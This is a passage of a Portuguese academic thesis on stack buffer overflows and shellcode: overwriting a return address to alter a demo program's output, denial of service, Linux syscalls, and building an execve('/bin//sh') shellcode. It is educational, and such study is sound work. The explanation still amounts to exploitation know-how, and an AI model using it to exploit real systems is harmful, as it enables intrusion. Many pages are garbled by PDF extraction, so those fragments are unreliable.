
0,  na  linha

3.9  e  abri‐

do comando

ou‐se o com

“main()”. 

” do código c

ó  pode  ser

os  endereç

as  o  código

, as instruç

memória,  u

 é possível 

ura 3.9), ond

  14,  tem‐s

‐lo  com  o 

o “disassem

mando “dis

compilado d

r  realizada 

ços  de mem

o  de máqu

ções seriam

uma  vez  qu

notar o pr

de se coloc

se  a  cham

GDB,  pode

mble”. Para 

sassemble m

 

da figura 3.

através  de

mória  que 

ina  diretam

 visualizada

ue  nunca  f

imeiro com

ca o valor 0x

mada  da  fu

56 

em‐se 

obter 

main” 

9. 

e  um 

estão 

mente 

as em 

foram 

mando 

x0 (0, 

unção 

Page 57: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

57  

“exemplo()”,  sendo que o  endereço de  retorno da mesma  é  0x0804844e  (instrução 

seguinte). O  segundo  comando de  atribuição da  variável  “i”  (linha 21 da  figura 3.9) 

possui o  código de máquina mostrado na  linha 16 da  figura 3.10, onde  se  coloca o 

valor 0xA (10, em decimal). 

 

  Sabe‐se que o programa mostrará, em condições normais, a saída “i = 10” no 

final de sua execução, uma vez que a segunda atribuição, obviamente, prevalecerá. No 

entanto, como o programa possui um trecho de código sujeito a stack overflow, pode‐

se mudar seu curso e  forçar que o  resultado seja 0  (valor atribuído à variável “i” na 

linha 19 da figura 3.9).  

 

  De  uma  maneira  ainda  geral,  como  já  é  conhecido,  basta  que  se  mude  o 

endereço de  retorno da  função  “exemplo()” para que  seja possível pular o  segundo 

comando de atribuição da  variável  “i”.  Sendo assim, na  linha 20 da  figura 3.9,  seria 

necessário  introduzir uma quantidade considerável de bytes a  fim de sobrescrever o 

RET da função chamada. Finalmente, após ter controle sobre o endereço de retorno, 

bastaria  fazê‐lo  apontar  para  o  endereço  0x08048458  (linha  17  da  figura  3.10).  O 

programa  pularia  o  segundo  comando  de  atribuição  (“i  =  0xA”)  e  terminaria 

normalmente, porém com uma saída forjada (“i = 0”). 

 

  Embora a idéia seja simples, a prática, de fato, não é. Um ponto é sobrescrever 

o endereço de  retorno  com o  intuito demonstrativo,  como, por exemplo,  com uma 

Page 58: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

58  

seqüência do caractere “A”. Outro completamente diferente é saber quantos bytes é 

necessário  inserir  no  buffer  para  estourá‐lo  e,  pior,  onde  é  preciso  parar  para 

sobrescrever  o  RET  com  um  novo  endereço  de  memória.  Se  apenas  1  byte  for 

calculado errado (para mais ou para menos), o endereço de retorno não apontará para 

o lugar correto (entende‐se como “lugar correto” o endereço para qual o hacker quer 

apontar). 

 

  Neste  caso,  como  não  há  execução  de  código  arbitrário, ou  seja,  somente  é 

feita  a modificação  do  RET  diretamente,  fica  fácil  calcular.  O  endereço  de  retorno 

original é 0x0804844e e a idéia é fazê‐lo apontar para a instrução seguinte (contida no 

endereço  de memória  0x08048458)  ao  segundo  comando  de  atribuição,  ou  seja,  a 

quantidade de bytes entre os dois endereços é 8. Este número deverá ser somado ao 

endereço de retorno original. 

 

  Para  saber em qual endereço de memória o RET está armazenado, é preciso 

basear‐se no buffer que está na pilha. Estudando‐se novamente o código, percebe‐se 

que o buffer possui 16 bytes. Depois do buffer está o SEBP (4 bytes) e, em seguida, o 

RET.  Deve‐se  somar,  então,  20  bytes  ao  endereço  de memória  do  buffer.  Assim  é 

possível  acessar  diretamente  a  posição  de  memória  que  contém  o  endereço  de 

retorno da função “exemplo()”.  

 

Page 59: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

20 by

prog

 

 

deve

os do

códig

 

Figu

Portanto

ytes após o

rama, pois 

Para apl

e‐se calcular

ois endereç

go vulneráv

ura 3.11: mo

o, para conc

 buffer, ou 

a instrução

icar a práti

r o número

ços posterio

vel para rea

odificação p

cluir o ataq

seja, o RET

‐alvo (segu

ca da teoria

o de bytes n

ores (SEBP e

lizar tal pro

para calcula

ue, é precis

. Fazendo‐s

nda atribuiç

a exposta p

necessários 

e RET). A fig

ocedimento

ar a quantid

so somar 8 

se isto, forja

ção à variáv

pelas  linhas

para estou

gura 3.11 m

dade de byt

bytes ao e

a‐se o result

vel “i”) é pu

 anteriores

urar o buffe

mostra uma

 

tes a ser ins

ndereço co

tado de saíd

lada. 

, primeiram

r e sobresc

a modificaçã

erida no buf

59 

ontido 

da do 

mente 

crever 

ão do 

uffer. 

Page 60: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

a qua

exec

buffe

 

 

 

“exe

cont

lemb

para 

most

 

O progra

antidade de

ução,  deve

er vulneráve

F

É  possív

mplo()”, so

inuou intac

brar que ain

o  RET. Na

tra a figura 

ama da figu

e bytes inse

e‐se  utilizar

el, como mo

Figura 3.12:

vel  notar 

omente a m

cto. Sendo a

nda faltam 2

a  segunda  e

3.13. 

ura 3.11 tom

erida na fun

r  um  núme

ostra a figu

: primeira e

que  utiliza

etade (2 by

assim, para 

2 bytes para

execução,  e

ma como ar

nção “exem

ero  aleatóri

ra 3.12. 

execução do

ando  26  b

ytes) do SEB

acertar o ta

a sobrescre

então,  utiliz

rgumento u

mplo()”. Send

o  de  bytes

o programa 

bytes  como

BP foi sobre

amanho já 

ever o resta

zou‐se  32  b

um número 

do assim, e

s,  ligeirame

modificado

o  entrada 

escrita. O R

na próxima

ante do SEB

bytes  como

inteiro que

em uma prim

ente  superio

 

o. 

para  a  fu

RET, obviam

 tentativa, 

BP e mais 4 

o  entrada,  c

60 

e será 

meira 

or  ao 

unção 

mente, 

basta 

bytes 

como 

Page 61: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

suce

ante

 

          15 Proo(teórico

F

Agora  já

sso. Finalm

riores. 

                     of of Concept  (Pro) estabelecido p

Figura 3.13:

á  é  sabido 

ente, a figu

                      rova do Conceitopor uma pesquisa

: segunda e

que  com 

ura 3.11 exib

       o) é um termo uta ou artigo técnico

execução do

32  bytes  s

be um códi

tilizado para deno. (Wikipédia, 20

o programa 

sobrescreve

go PoC15 do

nominar um mod007). 

modificado

e‐se  o  SEB

o ataque de

delo prático que 

 

o. 

P  e  o  RET 

escrito nas l

possa provar o c

61 

com 

inhas 

conceito 

Page 62: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

prop

seqü

exec

ende

segu

ende

incre

 

O  códig

positalmente

üência  se  r

ução  do  p

ereço  0x08

inte  à  seg

ereço  de  m

emento da f

Figura 3.

go  da  fig

e com um 

epete  oito 

programa,  m

048478  (en

gunda  atrib

memória  po

função “for

.14: PoC da

gura  3.14

outro buffe

vezes  (os 

mostrada  n

ndereço  pa

buição  da 

ossui  4  byt

()” ocorre d

a vulnerabili

estoura 

er que cont

32  bytes

na  figura  3

ara  o  qual 

variável  “i

tes,  sendo 

de quatro em

idade exemp

o  buffer

tém uma se

do  buffer

3.13).  Cada

se  deseja

”).  É  impo

exatament

m quatro. 

plificada. 

da  funçã

eqüência de

utilizado  v

a  repetição

  pular,  ou 

ortante  lem

te  por  este

 

ão  “exemp

e endereço

êm  da  seg

o  dela  pos

  seja,  instr

mbrar  que 

e  motivo  q

62 

plo()” 

s. Tal 

gunda 

sui  o 

rução 

cada 

que  o 

Page 63: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

63  

  Outro aspecto muito importante a se considerar na figura 3.14 é a linha 27. Seu 

uso  é  imprescindível  para,  neste  caso,  fazer  com  que  o  exploit  tenha  sucesso.  Para 

entender por qual motivo tal instrução em código de máquina é necessária, é preciso 

observar‐se  novamente  a  figura  3.10.  Após  o  retorno  da  função  “exemplo()”,  há  o 

ajuste da pilha, realizado pela instrução contida na linha 15. Se o exploit criado faz com 

que  se pule a  instrução da  segunda atribuição à variável “i”  (linha 16),  fica evidente 

que  o mesmo  também  deixa  passar  a  instrução  corretiva  da  pilha.  Como  a  pilha  é 

utilizada novamente pela função “printf()”, se a questão não for corrigida, o programa 

produzirá resultados aleatórios, pois a pilha vai estar deslocada incorretamente. 

 

  É  fato  que  o  exemplo  demonstrado  pelas  figuras  anteriores  é  meramente 

ilustrativo, uma vez que exige acesso ao código‐fonte do programa vulnerável. Se isto 

fosse possível na realidade, um hacker simplesmente inseriria uma backdoor16 que lhe 

garantiria  acesso  a  funções  privilegiadas  (ou,  até  mesmo,  à  execução  de  código 

arbitrário) sem precisar explorar falhas de programação. 

 

  Um  último  fator  passível  de  ser  analisado  é  a  função  “exit()”  (utilizada 

propositalmente nos códigos) como encerramento da função “main()”. Teoricamente a 

chamada  pela  função  “exit()”  deveria  evitar  que  o  estouro  da  pilha  ocorresse.  Ela 

encerraria  o  processo  atual  e,  como  a  função  “main()”  jamais  retornaria  de  fato,  o 

                                                            16 Backdoor  (porta dos  fundos)  é um  trecho de  código mal‐intencionado que  cria uma ou mais  falhas de  segurança para dar acesso ao sistema operacional a pessoas não autorizadas. Esta falha de segurança criada é análoga a uma porta dos fundos por onde a pessoa mal‐intencionada pode entrar (invadir) o sistema. Backdoors podem ser inseridos propositalmente pelos criadores do sistema ou podem ser obra de terceiros, usando para isso um vírus, verme ou cavalo de tróia. (Wikipédia, 2007). 

Page 64: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

stack

RET 

“mai

sejam

pelas

uma 

explo

 

 

 

proc

nunc

k overflow 

tenham  s

n()”nunca 

m sobrescri

s figuras, a 

sub‐função

orado pela t

Figura 3.1

Embora 

esso, é imp

ca  será enc

não seria o

sido  sobre

retornou.  R

itos, eles pr

função “ex

o. Em contr

técnica des

15: código i

o  código 

portante lem

contrada em

observado. 

escritos,  el

Reforçando

recisam ser

it()” não faz

rapartida, a

crita neste 

impossível d

da  figura 

mbrar que e

m  códigos p

Isto porque

les  não  fo

  a  teoria  d

r executado

z diferença 

a  figura 3.1

trabalho. 

de ser explo

3.15  utilize

esta não é a

profissionai

e, embora o

oram  utiliz

da  falha,  nã

os. Porém, 

alguma, po

5  ilustra um

orado atrav

e  a  função

 forma corr

s. Como  a 

os endereço

zados,  já 

ão  basta  qu

nos código

ois a falha o

m código  im

és da técnic

o  “exit()”  p

reta, então,

função  “m

os do SEBP

que  a  fu

ue  os  ende

os demonst

ocorre dent

mpossível d

 

ca estuda. 

para  encer

 provavelm

main()” é do

64 

 e do 

unção 

reços 

rados 

tro de 

de ser 

rar  o 

mente, 

o  tipo 

Page 65: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

65  

inteiro, o valor de retorno deve ser, obrigatoriamente, correspondente. Sendo assim, o 

encerramento correto para o programa da figura 3.15 deveria ser realizado através da 

função “return()”. 

 

  Para finalizar este capítulo, é importante ressaltar que além de executar código 

arbitrário no sistema através de um shellcode, um hacker pode simplesmente querer 

corromper  o  programa  vulnerável,  fazendo‐o  parar  de  responder  ou  simplesmente 

“cair” (quando há a finalização do processo). Este tipo de ataque é chamado de DoS17, 

sendo muito mais simples que a execução de código arbitrário. 

 

Por exemplo,  imagina‐se um servidor web vulnerável a stack overflow. Se um 

hacker  sabe  exatamente  como  reproduzir  a  falha  em  questão,  então  ele  pode 

sobrescrever o RET  com algum endereço de memória,  como  já visto anteriormente. 

Assim, escrevendo‐se um endereço que não pertence à área de endereços do processo 

atualmente  em  execução,  faria  com  que  o  servidor  web  “caísse”,  uma  vez  que  o 

processo  seria  finalizado  devido  a  uma  falha  de  segmentação.  Se  o  endereço 

sobrescrito  fosse  válido no  contexto do processo,  seria possível que o  servidor web 

continuasse  em  execução,  porém  sem  responder  qualquer  requisição,  como  se  o 

mesmo estivesse sobrecarregado. 

                                                            17 Denial of Service (ou Negação de Serviço) é a tentativa de forçar um serviço computacional a parar de responder temporária ou indefinidamente através de métodos exaustivos ou aproveitando‐se de uma vulnerabilidade em particular. 

Page 66: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

66  

4 SHELLCODES 

 

4.1 Definição 

 

  Revisando os pontos explorados até o momento, é possível  lembrar‐se que as 

instruções que o processador executa estão alocadas em alguma porção da memória. 

Para executar um shell18 após um stack overflow, o que é preciso é colocar um código 

correspondente em algum lugar da memória e inserir o endereço do mesmo no RET. 

 

  O nome comumente utilizado para definir tais instruções é shellcode. Para usá‐

lo em um exploit, é necessário descobrir os opcodes19 correspondentes a cada trecho 

e,  então,  inseri‐los  em  um  array20 de  caracteres  hexadecimais.  Os  três  métodos 

conhecidos para a descoberta dos opcodes de um shellcode são: 

 

• Programar diretamente em opcodes hexadecimais; 

                                                            18 O termo shell é mais usualmente utilizado para se referir aos programas de sistemas do tipo UNIX que podem ser utilizados como meio de interação entre o usuário e o computador. Este é um programa que recebe, interpreta e executa os comandos do usuário, aparecendo na tela como uma  linha de comandos, representada por um prompt, que aguarda na tela os comandos do usuário. (Wikipédia, 2007); 

19 Na Ciência da Computação, um opcode é um pedaço de uma instrução da linguagem de máquina que especifica a operação a ser executada. O termo é uma abreviação de Operation Code (Código de Operação). (Wikipédia, 2007); 

20 Na programação de computadores, um array, também conhecido como vetor ou lista (para arrays uni‐dimensionais) ou matriz (para arrays bi‐dimensionais), é uma das mais simples estruturas de dados. Os arrays mantêm uma série de elementos de dados, geralmente do mesmo tamanho e tipo. (Wikipédia, 2007). 

Page 67: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

67  

• Programar  primeiramente  em  Assembly  e,  depois,  extrair  os  opcodes 

correspondentes; 

• Programar em C, extrair as instruções em Assembly e, finalmente, os opcodes. 

 

  A  fim  de  deixar  o  texto  mais  claro,  utilizou‐se,  neste  trabalho,  o  terceiro 

método,  uma  vez  que  é  o  mais  óbvio  de  se  compreender.  Primeiramente  serão 

demonstrados  algumas  syscalls  e,  depois,  parte‐se  para  a  criação  de  um  shellcode 

capaz de executar um shell em modo interativo. 

 

  Entende‐se por “executar um programa” como a “chamada de um serviço do 

kernel  responsável em  criar e executar um novo processo no  sistema”. Tais  serviços 

executam no modo mais privilegiado do processador, ou seja, no “modo kernel”. Nos 

shellcodes, será necessária uma instrução para definir o acesso aos referidos serviços, 

disponíveis ao ambiente do usuário através de syscalls. Assim, para compreender um 

shellcode, primeiramente é necessário estudar as chamadas de sistema. 

 

4.2 Syscalls 

 

  Os acessos ao kernel podem ser categorizados de acordo com o evento ou ação 

que os iniciam: 

 

Page 68: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

68  

• Interrupção  por  hardware: é originada  a partir de eventos externos,  tais 

como  dispositivos  de  entrada  e  saída  ou  um  pulso  de  clock.  Ocorre 

assincronamente  e  pode  não  estar  relacionada  ao  contexto  do  processo 

atualmente em execução; 

 

• Interrupção  capturada  por  hardware:  pode  ocorrer  assíncrona  ou 

sincronamente e está relacionada ao contexto do processo atualmente em 

execução.  Um  exemplo  deste  tipo  de  interrupção  ocorre  quando  há  a 

execução de uma operação aritmética inválida, como a divisão por zero; 

 

• Interrupção  capturada  por  software:  usada  pelo  sistema  para  forçar  o 

agendamento de um evento  tal como o  re‐agendamento de um processo 

ou o processamento de  rede.  Syscalls  são  consideradas um  caso especial 

deste  tipo  de  interrupção:  a  instrução  utilizada  para  gerar  uma  syscall 

tipicamente causa uma  interrupção capturada por software, que é tratada 

diretamente pelo kernel. 

 

A  função  responsável  por  tratar  syscalls  de  um  sistema  operacional  precisa 

cumprir duas tarefas básicas: 

 

Page 69: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

69  

• Verificar que os parâmetros para a chamada de  sistema estão  localizados 

em  uma  área  válida  de  endereços  e  copiá‐los  da  área  de  endereços  do 

usuário para a específica do kernel; 

 

• Chamar a rotina do kernel que implementa a syscall requisitada. 

 

No Linux, existem dois mecanismos para implementar chamadas de sistema: 

 

• lcall7/lcall27 

• INT 0x80 

 

Programas nativos do Linux utilizam o segundo mecanismo de  interrupção de 

software,  enquanto  binários  originados  de  diferentes  tipos  de  UNIX  (Solaris  e 

UnixWare, por exemplo) utilizam o mecanismo “lcall7”. O nome “lcall7” é um equívoco 

histórico porque ele também cobre o outro tipo – “lcall27” –, porém a função que os 

trata é chamada “lcall7_func()”. 

 

  Quando  o  sistema  inicializa,  a  função  “trap_init()”  (localizada  no  arquivo 

“arch/i386/kernel/traps.c”  do  kernel)  é  chamada  para  definir  a  IDT21. O  vetor  0x80 

                                                            21 Interrupt Descriptor Table ou Tabela Descritora de Interrupções. 

Page 70: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

70  

aponta  para  o  endereço  da  entrada  “system_call”  do  arquivo 

“arch/i386/kernel/entry.S”. 

 

  Quando uma aplicação da área do usuário requisita uma syscall, os argumentos 

da mesma são passados via registradores, sendo, por fim, executada a  instrução “INT 

0x80”.  Isto  causa  uma  interrupção  no  modo  kernel  e  o  processador  pula  para  o 

endereço da “system_call” correspondente, localizada no arquivo “entry.S”. Os passos 

normalmente seguidos neste processo são: 

 

• Salvar o estado dos registradores; 

• Realizar alguma verificação de segurança; 

• Chamar  a  função  “system_call”  responsável  por  tratar  a  syscall 

correspondente. 

 

O  registrador  EAX  denota  a  syscall  requisitada.  Os  registradores  restantes 

possuem significados relativos de acordo com o valor contido no EAX. 

 

Para  ilustrar  a  situação,  imagina‐se  a  chamada  da  função  “exit()”  por  um 

programa qualquer. Antes de entrar no modo kernel, a função correspondente contida 

no  header22 insere  o  valor  0x1  (“sys_exit”)  no  registrador  EAX,  define  o  parâmetro 

                                                            22 Cabeçalho na linguagem de programação C. Por exemplo, “#include <unistd.h>”. 

Page 71: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

repa

0x80

traba

do  a

prese

 

4.3 S

 

 

serão

 

 

 

a figu

ssado  à  fu

0”.  Quando

alho. Neste 

arquivo  “ke

ente no reg

Shellcode 

Utilizand

o feitas em 

Figura 4.1

Para ent

ura 4.2. 

nção  “exit(

o  a  interru

cenário, co

ernel/exit.c”

gistrador EB

para a sy

do como mo

seguida, at

1: programa

tender como

()”  através 

pção  ocorr

omo o regis

”  é  chamad

BX (parâmet

yscall “sys_

odelo o pro

través do GD

a que utiliza

o funciona 

do  registra

re,  o  kerne

trador EAX 

da.  Esta  fu

tro único, no

_exit” 

ograma mo

DB. 

a a função “

uma syscal

ador  EBX  e

el  aloca  a 

possui valo

unção  oper

o caso da fu

strado na f

“exit()” para

l, deve‐se d

e  executa  a

rotina  apr

or 0x1, a fun

ra  de  acord

unção “exit(

figura 4.1, a

 

a encerrar o

desmembrá

a  instrução 

ropriada  pa

nção “sys_e

do  com  o 

()”). 

algumas an

o processo. 

‐la como m

71 

“INT 

ara  o 

exit()” 

valor 

álises 

mostra 

Page 72: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

inser

havia

Send

 

 

 

“exit

regis

          23 Estad

Como se

re o valor 0

a sido  inser

do assim, as

Na  prim

t()”, ou  seja

strador EBX

                     do. 

Figura 4

e pode visu

0x1 no regis

rido na pilh

s instruções 

Figura 4.3

meira  linha 

a,  seu parâm

. Em seguid

                      

4.2: abertur

alizar na  fig

strador EAX

ha  (que, na 

necessária

3: instruçõe

da  figura  4

metro  (ou 

da há a defin

       

ra da syscal

gura 4.2, o 

X e, em seg

verdade, é

s para repre

es necessári

4.3,  tem‐se

0, como m

nição da sys

ll “_exit” pe

header qu

guida, coloc

é o status23

esentar a lin

ias para um

e  o  código 

ostra a  figu

scall deseja

elo GDB. 

e contém a

ca no EBX o

de saída at

nha “exit(0)

 

m “exit(0)”. 

de  retorno

ura 4.1). Ele

ada (0x1), se

 

a  função “e

o parâmetro

tual, ou sej

)” seriam: 

o  para  a  fu

e é colocad

endo inserid

72 

exit()” 

o que 

ja, 0). 

unção 

do no 

da no 

Page 73: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

regis

proc

 

 

possí

dem

 

 

 

GDB,

pela 

 

strador EAX

essador ent

Em  poss

ível  chamá

onstrado na

Para enc

,  inserir um

figura 4.5. 

X. Finalment

tra no modo

se  das  inst

á‐las  direta

a figura 4.4

Figura 4.4:

contrar os o

ma parada n

te, na últim

o kernel. 

truções  nec

amente  atr

: programa

opcodes do

na  função “

ma  linha, há

cessárias  p

ravés  de  u

idêntico ao

o código cria

“main()” e e

á o pedido 

ara  a  exec

um  progra

o exposto na

ado, o prim

executar o 

de  interru

cução  de  a

ma  escrito

 

a figura 4.1.

meiro passo 

programa, 

pção, ou  se

lguma  roti

o  em  C.  Is

 é abri‐lo c

como mos

73 

eja, o 

na,  é 

sto  é 

com o 

trado 

Page 74: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

“sys_

 

F

Posterio

_exit”, como

Figura 4.5: 

rmente  é 

o ilustrado 

primeiro pa

preciso  exe

pela figura 

asso para a 

ecutar  pass

4.6. 

obtenção d

so  a  passo 

dos opcodes

cada  instr

 

s. 

rução  da  sy

74 

yscall 

Page 75: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

serão

mais

um s

men

 

F

A última

o utilizados

 adiante pa

shellcode em

os similar a

Figura 4.6: 

a coluna de

 para gerar

ara a execu

m um array

o demonstr

segundo pa

e  toda a saí

 o shellcode

ução de cód

y. Um prog

rado pela fi

asso para a 

ída gerada 

e. Chega‐se

digo arbitrá

rama que u

gura 4.7. 

obtenção d

na  figura 4

, então, no 

rio em stac

utiliza o she

 

dos opcodes

4.6 contém 

conceito q

ck overflow

ellcode criad

s. 

os opcodes

ue será util

ws: a  inserçã

do seria ma

75 

s que 

izado 

ão de 

ais ou 

Page 76: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

obtid

 

 

máq

uma 

igual

 

4.4 S

 

 

sysca

proc

Cada pe

do através d

As duas 

uina ou pel

chamada p

 a 0, como 

Shellcode 

É neste 

all  em  qu

urando‐se p

Figura 4.7

daço  (unida

da figura 4.6

formas de 

o shellcode

pela  função

mostrado p

para a sy

ponto em 

uestão,  de

pela linha co

7: shellcode 

ades “\xYZ”

6, ou seja, d

execução (a

e correspon

o  “exit()”  co

pelo código 

yscall “sys_

que as peç

eve‐se  ana

orresponde

para execu

” da  figura 

da linha 2 à

através das

dente) resu

om o parâm

da figura 4

_execve”

ças começa

alisar  o  a

ente. A funç

tar a função

4.7) do she

36. 

 instruções

ultam na me

metro  (nest

.1. 

m a  se enc

arquivo  “a

ção está ilus

o “exit(0)”. 

ellcode equ

 diretamen

esma saída 

te  caso, o 

caixar. Para

rch/i386/ke

strada na fig

uivale ao op

te em códig

prática, ou

status de  s

 compreen

ernel/proce

gura 4.8. 

76 

 

pcode 

go de 

u seja, 

saída) 

der a 

ess.c”, 

Page 77: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

do co

dese

EDX,

funçã

arqu

 

Como se

omando a 

jado. Nesta

 porém not

ão,  situada

ivo “fs/exec

e pode ente

ser executa

a função, nã

ta‐se que os

a  na  linha 

c.c” do kern

Figura 4.8

ender pela 

ado  (linha 9

ão é possíve

s endereços

13,  a  “do_

nel. Sua assi

: syscall “sy

figura 4.8, 

9), ou  seja,

el entender 

s contidos n

_execve()”. 

inatura está

ys_execve”.

o registrad

 “/bin/sh”, 

as atribuiçõ

nos mesmos

Esta  última

á represent

or EBX con

de acordo

ões dos reg

s são repass

a  função  é

ada pela fig

 

tém o ende

o com o obj

gistradores 

sados para 

é  encontrad

gura 4.9. 

77 

ereço 

jetivo 

ECX e 

outra 

da  no 

Page 78: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

Fica 

enqu

simp

objet

E, co

no ar

EDX 

“argv

 

 

são: 

 

Figura

Agora se

evidente, e

uanto o EDX

plesmente  d

tivo é execu

omo o a var

rgumento s

e o  argum

v[0]” será p

Finalmen

Inserir a 

Escrever

a 4.9: funçã

e tem uma i

então, que 

X guarda o e

descartadas

utar um she

riável “argv

seguinte, ou

ento  “argv

preenchido. 

nte, para cr

string “/bin

r o endereço

o do kernel

idéia mais c

o  registrad

endereço d

s,  ou  seja, 

ell interativ

v[]” é um ar

u seja, em “

[1]”  recebe

riar o shellc

n/sh” em al

o correspon

l responsáve

clara das at

dor ECX arm

o “envp[]”.

o  registrad

vo, o conteú

rray de car

“argv[1]”. Po

erão o  valo

code corresp

gum lugar d

ndente no r

el por execu

ribuições do

mazena o e

 As variáve

dor  EDX  re

údo de “arg

acteres, de

ortanto, res

or  0,  enqua

pondente, o

da memória

registrador 

utar um com

os registrad

endereço do

is de ambie

ceberá  o  v

gv[0]” deve

ve‐se  inser

sumidamen

nto  somen

os passos a

a; 

EBX; 

 

mando. 

dores ECX e

o array  “ar

ente poderã

valor  0.  Com

rá ser “/bin

ir um valor

nte, o regist

te o  argum

 serem seg

78 

e EDX. 

gv[]”, 

ão ser 

mo  o 

n/sh”. 

r nulo 

rador 

mento 

uidos 

Page 79: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

repre

 

 

 

mem

inser

“/bin

Criar um

de um N

Escrever

Escrever

Executar

Todas  a

esentadas a

Fig

Antes de

mória. Então

rção do me

n”. As duas 

m ponteiro “

NULL; 

r o endereço

r o valor 0 n

r a instrução

as  instruçõ

através da f

gura 4.10: i

e  tudo, dev

o, na linha 1

smo na pilh

barras da p

“char **” qu

o correspon

no registrad

o “INT 0x80

ões  que  c

igura 4.10.

nstruções p

ve‐se  inserir

1, há a cria

ha. Na linha

primeira ins

ue contém o

ndente no r

or EDX; 

0” para aces

corresponde

para executa

r a string “/

ção do valo

a 3 há a inse

serção serve

o endereço 

registrador 

ssar o modo

em  ao  sh

ar o coman

/bin/sh” se

or nulo e, e

erção da str

em como u

da string “/

ECX; 

o kernel. 

hellcode  em

 

do “/bin//s

eguida de u

m seguida,

ring “//sh” 

m truque p

/bin/sh” se

m  questão

h”. 

m valor nu

 na linha 2,

na pilha e, 

para comple

79 

guida 

  são 

ulo na 

, há a 

na 4, 

etar 1 

Page 80: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

80  

word  (4  bytes),  já  que  “/sh”  somente  ocuparia  3  bytes.  Na  linha  5,  o  ESP  aponta 

exatamente para o endereço  inicial da string “/bin//sh”, então pode‐se escrevê‐lo no 

registrador EBX. Como o registrador EAX ainda é zero (não houve alteração nele desde 

a linha 1), pode‐se utilizá‐lo para terminar o array “argv[]”, o que é feito pela linha 6. 

Se o endereço da string “/bin//sh” também é inserido na pilha, o endereço do ponteiro 

“argv[]”  estará  no  ESP. Desta maneira,  cria‐se  o  “char  **”  necessário  na memória, 

através da  linha 7. Escreve‐se o endereço correspondente no  registrador ECX com a 

linha  8  e  0  no  EDX  pela  linha  9.  Por  último,  na  linha  10,  há  a  definição  da  syscall 

desejada (0xB, ou seja, “sys_execve”) e, então, ocorre a interrupção (linha 11). 

 

  Depois de obter os opcodes do shellcode criado através da mesma metodologia 

empregada na demonstração da syscall “sys_exit”, chega‐se ao seguinte resultado,  já 

inserido no array correspondente, como mostra a figura 4.11. 

 

Page 81: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

figur

GDB,

para 

Asse

é  a 

coma

“<sh

dese

com 

corre

Fi

Para obt

a 4.11, é p

, através do

uma melho

mbly. É um

execução  d

ando  irá  i

ellcode>”, 

